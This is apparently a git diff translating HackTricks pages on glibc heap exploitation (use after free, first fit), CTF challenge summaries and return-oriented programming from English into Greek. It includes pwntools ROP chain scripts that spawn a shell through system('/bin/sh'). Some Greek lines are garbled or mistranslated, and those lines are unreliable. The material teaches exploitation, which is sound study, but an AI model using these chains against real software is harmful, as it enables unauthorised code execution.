- Και τελικά, ένα chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη συνάρτηση system με `/bin/sh\x00` ως παράμετρο.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης 1B για να συγχωνευθούν chunks στο unsorted bin και να αποκτηθεί μια διαρροή libc και στη συνέχεια να εκτελεστεί μια επίθεση fast bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- We can only allocate chunks of size greater than `0x100`.
|
||||
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
|
||||
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
|
||||
- Μπορούμε μόνο να κατανεμηθούν chunks μεγέθους μεγαλύτερου από `0x100`.
|
||||
- Επαναγράψτε το `global_max_fast` χρησιμοποιώντας μια επίθεση Unsorted Bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).
|
||||
- Επίθεση Fast Bin για να τροποποιηθεί ένας παγκόσμιος πίνακας chunks. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει να τροποποιηθεί το GOT και να ρυθμιστεί κάποια συνάρτηση να δείχνει στη `system`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,17 +1,17 @@
|
||||
# Use After Free
|
||||
# Χρήση Μετά την Απελευθέρωση
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
|
||||
Όπως υποδηλώνει το όνομα, αυτή η ευπάθεια συμβαίνει όταν ένα πρόγραμμα **αποθηκεύει κάποιο χώρο** στη heap για ένα αντικείμενο, **γράφει** κάποιες πληροφορίες εκεί, **απελευθερώνει** το προφανώς επειδή δεν χρειάζεται πια και στη συνέχεια **το προσπελάζει ξανά**.
|
||||
|
||||
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
|
||||
Το πρόβλημα εδώ είναι ότι δεν είναι παράνομο (δεν **θα υπάρχουν σφάλματα**) όταν **προσπελάζεται απελευθερωμένη μνήμη**. Έτσι, αν το πρόγραμμα (ή ο επιτιθέμενος) καταφέρει να **κατανείμει την απελευθερωμένη μνήμη και να αποθηκεύσει αυθαίρετα δεδομένα**, όταν η απελευθερωμένη μνήμη προσπελαστεί από τον αρχικό δείκτη, **τα δεδομένα θα έχουν αντικατασταθεί** προκαλώντας μια **ευπάθεια που θα εξαρτάται από την ευαισθησία των δεδομένων** που αποθηκεύτηκαν αρχικά (αν ήταν ένας δείκτης μιας συνάρτησης που επρόκειτο να κληθεί, ένας επιτιθέμενος θα μπορούσε να γνωρίζει πώς να το ελέγξει).
|
||||
|
||||
### First Fit attack
|
||||
### Επίθεση Πρώτης Τοποθέτησης
|
||||
|
||||
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
|
||||
Check more info in:
|
||||
Μια επίθεση πρώτης τοποθέτησης στοχεύει τον τρόπο που ορισμένοι κατανεμητές μνήμης, όπως στη glibc, διαχειρίζονται την απελευθερωμένη μνήμη. Όταν απελευθερώνετε ένα μπλοκ μνήμης, προστίθεται σε μια λίστα, και οι νέες αιτήσεις μνήμης αντλούν από αυτή τη λίστα από το τέλος. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτή τη συμπεριφορά για να χει manipulat **ποια μπλοκ μνήμης επαναχρησιμοποιούνται, αποκτώντας ενδεχομένως έλεγχο πάνω τους**. Αυτό μπορεί να οδηγήσει σε προβλήματα "χρήσης μετά την απελευθέρωση", όπου ένας επιτιθέμενος θα μπορούσε να **αλλάξει το περιεχόμενο της μνήμης που επανακατανέμεται**, δημιουργώντας έναν κίνδυνο ασφαλείας.\
|
||||
Δείτε περισσότερες πληροφορίες στο:
|
||||
|
||||
{{#ref}}
|
||||
first-fit.md
|
||||
|
||||
@ -4,36 +4,33 @@
|
||||
|
||||
## **First Fit**
|
||||
|
||||
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
|
||||
Όταν απελευθερώνετε μνήμη σε ένα πρόγραμμα χρησιμοποιώντας glibc, χρησιμοποιούνται διαφορετικά "bins" για τη διαχείριση των κομματιών μνήμης. Ακολουθεί μια απλοποιημένη εξήγηση δύο κοινών σεναρίων: τα unsorted bins και τα fastbins.
|
||||
|
||||
### Unsorted Bins
|
||||
|
||||
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
|
||||
Όταν απελευθερώνετε ένα κομμάτι μνήμης που δεν είναι γρήγορο κομμάτι, πηγαίνει στο unsorted bin. Αυτό το bin λειτουργεί σαν μια λίστα όπου τα νέα απελευθερωμένα κομμάτια προστίθενται στην αρχή (την "κεφαλή"). Όταν ζητάτε ένα νέο κομμάτι μνήμης, ο αλγόριθμος αναθέσεων κοιτάζει το unsorted bin από το πίσω μέρος (την "ουρά") για να βρει ένα κομμάτι που είναι αρκετά μεγάλο. Αν ένα κομμάτι από το unsorted bin είναι μεγαλύτερο από αυτό που χρειάζεστε, χωρίζεται, με το μπροστινό μέρος να επιστρέφεται και το υπόλοιπο να παραμένει στο bin.
|
||||
|
||||
Example:
|
||||
|
||||
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
|
||||
- When you free `a`, it goes to the unsorted bin.
|
||||
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
|
||||
- `c` will be pointing to the previous `a` and filled with the `a's`.
|
||||
Παράδειγμα:
|
||||
|
||||
- Αποδεσμεύετε 300 bytes (`a`), στη συνέχεια 250 bytes (`b`), απελευθερώνετε το `a` και ζητάτε ξανά 250 bytes (`c`).
|
||||
- Όταν απελευθερώνετε το `a`, πηγαίνει στο unsorted bin.
|
||||
- Αν ζητήσετε ξανά 250 bytes, ο αλγόριθμος αναθέσεων βρίσκει το `a` στην ουρά και το χωρίζει, επιστρέφοντας το μέρος που ταιριάζει με το αίτημά σας και κρατώντας το υπόλοιπο στο bin.
|
||||
- Το `c` θα δείχνει στο προηγούμενο `a` και θα είναι γεμάτο με τα `a's`.
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
char *b = malloc(250);
|
||||
free(a);
|
||||
char *c = malloc(250);
|
||||
```
|
||||
|
||||
### Fastbins
|
||||
|
||||
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
|
||||
Τα Fastbins χρησιμοποιούνται για μικρά κομμάτια μνήμης. Σε αντίθεση με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην κεφαλή, δημιουργώντας μια συμπεριφορά last-in-first-out (LIFO). Αν ζητήσετε ένα μικρό κομμάτι μνήμης, ο allocator θα αντλήσει από την κεφαλή του fastbin.
|
||||
|
||||
Example:
|
||||
|
||||
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
|
||||
- When you free them in any order, the freed chunks are added to the fastbin's head.
|
||||
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
|
||||
Παράδειγμα:
|
||||
|
||||
- Εσείς κατανέμετε τέσσερα κομμάτια των 20 bytes το καθένα (`a`, `b`, `c`, `d`).
|
||||
- Όταν τα απελευθερώσετε με οποιαδήποτε σειρά, τα απελευθερωμένα κομμάτια προστίθενται στην κεφαλή του fastbin.
|
||||
- Αν στη συνέχεια ζητήσετε ένα κομμάτι 20 bytes, ο allocator θα επιστρέψει το πιο πρόσφατα απελευθερωμένο κομμάτι από την κεφαλή του fastbin.
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
@ -48,17 +45,16 @@ b = malloc(20); // c
|
||||
c = malloc(20); // b
|
||||
d = malloc(20); // a
|
||||
```
|
||||
|
||||
## Other References & Examples
|
||||
## Άλλες Αναφορές & Παραδείγματα
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
|
||||
- ARM64. Χρήση μετά την απελευθέρωση: Δημιουργήστε ένα αντικείμενο χρήστη, απελευθερώστε το, δημιουργήστε ένα αντικείμενο που θα πάρει το απελευθερωμένο κομμάτι και επιτρέψτε να γραφτεί σε αυτό, **επικαλύπτοντας τη θέση του user->password** από το προηγούμενο. Επαναχρησιμοποιήστε τον χρήστη για να **παρακάμψετε τον έλεγχο κωδικού πρόσβασης**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
|
||||
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
|
||||
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
|
||||
- Το πρόγραμμα επιτρέπει τη δημιουργία σημειώσεων. Μια σημείωση θα έχει τις πληροφορίες της σημείωσης σε μια malloc(8) (με έναν δείκτη σε μια συνάρτηση που θα μπορούσε να κληθεί) και έναν δείκτη σε άλλη malloc(\<size>) με το περιεχόμενο της σημείωσης.
|
||||
- Η επίθεση θα ήταν να δημιουργηθούν 2 σημειώσεις (note0 και note1) με μεγαλύτερο περιεχόμενο malloc από το μέγεθος των πληροφοριών της σημείωσης και στη συνέχεια να απελευθερωθούν ώστε να μπουν στο γρήγορο bin (ή tcache).
|
||||
- Στη συνέχεια, δημιουργήστε μια άλλη σημείωση (note2) με μέγεθος περιεχομένου 8. Το περιεχόμενο θα είναι στη note1 καθώς το κομμάτι θα επαναχρησιμοποιηθεί, όπου θα μπορούσαμε να τροποποιήσουμε τον δείκτη συνάρτησης ώστε να δείχνει στη συνάρτηση win και στη συνέχεια να χρησιμοποιήσουμε την Χρήση-Μετά-Απελευθέρωση της note1 για να καλέσουμε τον νέο δείκτη συνάρτησης.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
|
||||
- Είναι δυνατόν να δεσμεύσετε κάποια μνήμη, να γράψετε την επιθυμητή τιμή, να την απελευθερώσετε, να την επαναδεσμεύσετε και καθώς τα προηγούμενα δεδομένα είναι ακόμα εκεί, θα αντιμετωπιστούν σύμφωνα με τη νέα αναμενόμενη δομή στο κομμάτι, καθιστώντας δυνατή την ρύθμιση της τιμής για να αποκτήσετε τη σημαία.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
|
||||
- Σε αυτή την περίπτωση είναι απαραίτητο να γράψετε 4 μέσα σε ένα συγκεκριμένο κομμάτι το οποίο είναι το πρώτο που δεσμεύεται (ακόμα και μετά την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο κομμάτι, ο αριθμός του αποθηκεύεται στον δείκτη του πίνακα. Στη συνέχεια, δεσμεύστε 4 κομμάτια (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει 4 μέσα του, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο απελευθερωμένο κομμάτι που είναι αυτό με 4 μέσα του.
|
||||
|
||||
@ -2,45 +2,44 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
## **Βασικές Πληροφορίες**
|
||||
|
||||
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
|
||||
**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακάμψει μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών πράξεων. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
|
||||
|
||||
### How ROP Works
|
||||
### Πώς Λειτουργεί το ROP
|
||||
|
||||
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
|
||||
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
|
||||
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
|
||||
1. **Hijacking Ροής Ελέγχου**: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack.
|
||||
2. **Αλυσίδωση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και αλυσόδεσε gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
|
||||
3. **Εκτέλεση Payload**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.
|
||||
|
||||
### Tools
|
||||
### Εργαλεία
|
||||
|
||||
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||
Συνήθως, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ή απευθείας από **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||
|
||||
## ROP Chain in x86 Example
|
||||
## ROP Chain σε Παράδειγμα x86
|
||||
|
||||
### **x86 (32-bit) Calling conventions**
|
||||
### **x86 (32-bit) Συμβάσεις Κλήσης**
|
||||
|
||||
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
|
||||
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
|
||||
- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς αριστερά.**
|
||||
- **stdcall**: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack.
|
||||
|
||||
### **Finding Gadgets**
|
||||
### **Εύρεση Gadgets**
|
||||
|
||||
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
|
||||
Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:
|
||||
|
||||
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
|
||||
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
|
||||
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
|
||||
- Additionally, we have the address of the `system()` function available.
|
||||
- `pop eax; ret`: Αυτό το gadget βγάζει την κορυφαία τιμή του stack στο καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`.
|
||||
- `pop ebx; ret`: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή `EBX`, επιτρέποντας τον έλεγχο του `EBX`.
|
||||
- `mov [ebx], eax; ret`: Μεταφέρει την τιμή στο `EAX` στη διεύθυνση μνήμης που υποδεικνύεται από το `EBX` και στη συνέχεια επιστρέφει. Αυτό συχνά ονομάζεται **write-what-where gadget**.
|
||||
- Επιπλέον, έχουμε τη διεύθυνση της συνάρτησης `system()` διαθέσιμη.
|
||||
|
||||
### **ROP Chain**
|
||||
|
||||
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
|
||||
|
||||
1. A `ret` instruction for alignment purposes (optional)
|
||||
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
|
||||
3. Placeholder for the return address from `system()`
|
||||
4. `"/bin/sh"` string address (parameter for system function)
|
||||
Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με:
|
||||
|
||||
1. Μια εντολή `ret` για σκοπούς ευθυγράμμισης (προαιρετική)
|
||||
2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/))
|
||||
3. Θέση για τη διεύθυνση επιστροφής από το `system()`
|
||||
4. Διεύθυνση της συμβολοσειράς `"/bin/sh"` (παράμετρος για τη συνάρτηση system)
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
|
||||
|
||||
# Construct the ROP chain
|
||||
rop_chain = [
|
||||
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
|
||||
system_addr, # Address of system(). Execution will continue here after the ret gadget
|
||||
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
|
||||
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
|
||||
system_addr, # Address of system(). Execution will continue here after the ret gadget
|
||||
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
|
||||
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
]
|
||||
|
||||
# Flatten the rop_chain for use
|
||||
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## ROP Chain in x64 Example
|
||||
|
||||
### **x64 (64-bit) Calling conventions**
|
||||
|
||||
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
|
||||
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
|
||||
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
|
||||
- Χρησιμοποιεί τη **System V AMD64 ABI** κλήση σε Unix-like συστήματα, όπου οι **πρώτες έξι ακέραιες ή δείκτες παράμετροι μεταφέρονται στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8` και `R9`**. Πρόσθετες παράμετροι μεταφέρονται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
|
||||
- Η κλήση **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8` και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να μεταφέρονται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
|
||||
- **Καταχωρητές**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
|
||||
|
||||
#### **Finding Gadgets**
|
||||
|
||||
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
|
||||
Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
|
||||
|
||||
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
|
||||
- **ret**: A simple return, useful for stack alignment in some scenarios.
|
||||
- **pop rdi; ret**: Αντλεί την κορυφαία τιμή της στοίβας στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**.
|
||||
- **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση της στοίβας σε ορισμένα σενάρια.
|
||||
|
||||
And we know the address of the **system()** function.
|
||||
Και γνωρίζουμε τη διεύθυνση της συνάρτησης **system()**.
|
||||
|
||||
### **ROP Chain**
|
||||
|
||||
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
|
||||
|
||||
Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί **pwntools** για να ρυθμίσει και να εκτελέσει μια ROP αλυσίδα με στόχο την εκτέλεση **system('/bin/sh')** σε **x64**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
|
||||
|
||||
# Construct the ROP chain
|
||||
rop_chain = [
|
||||
ret_gadget, # Alignment gadget, if needed
|
||||
pop_rdi_gadget, # pop rdi; ret
|
||||
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
system_addr # Address of system(). Execution will continue here.
|
||||
ret_gadget, # Alignment gadget, if needed
|
||||
pop_rdi_gadget, # pop rdi; ret
|
||||
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
system_addr # Address of system(). Execution will continue here.
|
||||
]
|
||||
|
||||
# Flatten the rop_chain for use
|
||||
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Σε αυτό το παράδειγμα:
|
||||
|
||||
In this example:
|
||||
- Χρησιμοποιούμε το **`pop rdi; ret`** gadget για να ορίσουμε το **`RDI`** στη διεύθυνση του **`"/bin/sh"`**.
|
||||
- Πηδάμε απευθείας στη **`system()`** μετά την ρύθμιση του **`RDI`**, με τη διεύθυνση της **system()** στην αλυσίδα.
|
||||
- Το **`ret_gadget`** χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, το οποίο είναι πιο συνηθισμένο σε **x64** για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων.
|
||||
|
||||
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
|
||||
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
|
||||
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
|
||||
### Ευθυγράμμιση Στοίβας
|
||||
|
||||
### Stack Alignment
|
||||
**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν από την κλήση της **system** στην ROP αλυσίδα σας.
|
||||
|
||||
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
|
||||
|
||||
## x86 vs x64 main difference
|
||||
## Κύρια διαφορά x86 vs x64
|
||||
|
||||
> [!TIP]
|
||||
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
|
||||
> Δεδομένου ότι **x64 χρησιμοποιεί καταχωρητές για τα πρώτα λίγα επιχειρήματα,** συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και η αλυσίδωση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική **x64** παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη εκμεταλλεύσεων, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP).
|
||||
|
||||
## ROP chain in ARM64 Example
|
||||
## Παράδειγμα ROP αλυσίδας σε ARM64
|
||||
|
||||
### **ARM64 Basics & Calling conventions**
|
||||
### **Βασικά ARM64 & Συμβάσεις Κλήσης**
|
||||
|
||||
Check the following page for this information:
|
||||
Ελέγξτε την παρακάτω σελίδα για αυτές τις πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Protections Against ROP
|
||||
## Προστασίες κατά του ROP
|
||||
|
||||
